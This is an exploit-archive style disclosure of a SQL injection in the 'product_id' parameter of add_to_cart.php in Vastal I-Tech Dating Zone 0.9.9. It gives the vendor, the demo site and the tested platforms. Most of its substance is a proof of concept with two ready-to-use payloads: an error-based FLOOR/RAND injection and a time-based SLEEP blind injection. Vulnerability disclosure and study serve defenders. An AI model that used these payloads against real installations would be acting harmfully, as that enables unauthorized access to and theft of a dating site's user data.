Vastal I-Tech Dating Zone 0.9.9 SQL Injection

`# # # # #   
# Exploit Title: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' Parameter SQL Injection  
# Dork: N/A  
# Date: 29.09.2017  
# Vendor Homepage: http://vastal.com/  
# Software http://vastal.com/dating-zone-the-dating-software.html  
# Demo: http://datingzone.vastal.com/demo/  
# Version: 0.9.9  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/add_to_cart.php?product_id=[SQL]  
#   
# Parameter: product_id (GET)  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
# Payload: product_id=3 AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5917=5917,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: product_id=3 AND SLEEP(5)  
#   
# Etc..  
# # # # #  
`